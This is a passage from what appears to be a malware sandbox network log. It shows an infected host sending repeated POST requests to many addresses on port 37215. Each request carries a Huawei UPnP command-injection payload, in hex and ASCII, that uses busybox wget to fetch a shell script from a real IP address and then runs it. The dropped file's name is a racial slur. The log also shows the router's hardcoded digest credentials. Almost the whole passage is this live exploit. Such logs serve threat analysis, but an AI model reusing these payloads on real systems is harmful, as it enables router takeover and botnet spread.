62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.15	41634	94.122.56.201	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.360955000 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.15	57704	94.121.57.90	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.361098051 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.15	46076	94.121.28.116	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.361258030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.15	52438	94.122.0.201	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.361411095 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.15	52076	94.123.67.93	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.361651897 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.15	37628	94.123.103.181	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.361757994 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.15	46318	94.123.100.85	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.361892939 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.15	46474	94.123.26.209	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.362059116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.15	54386	94.123.47.2	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:28.362205029 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 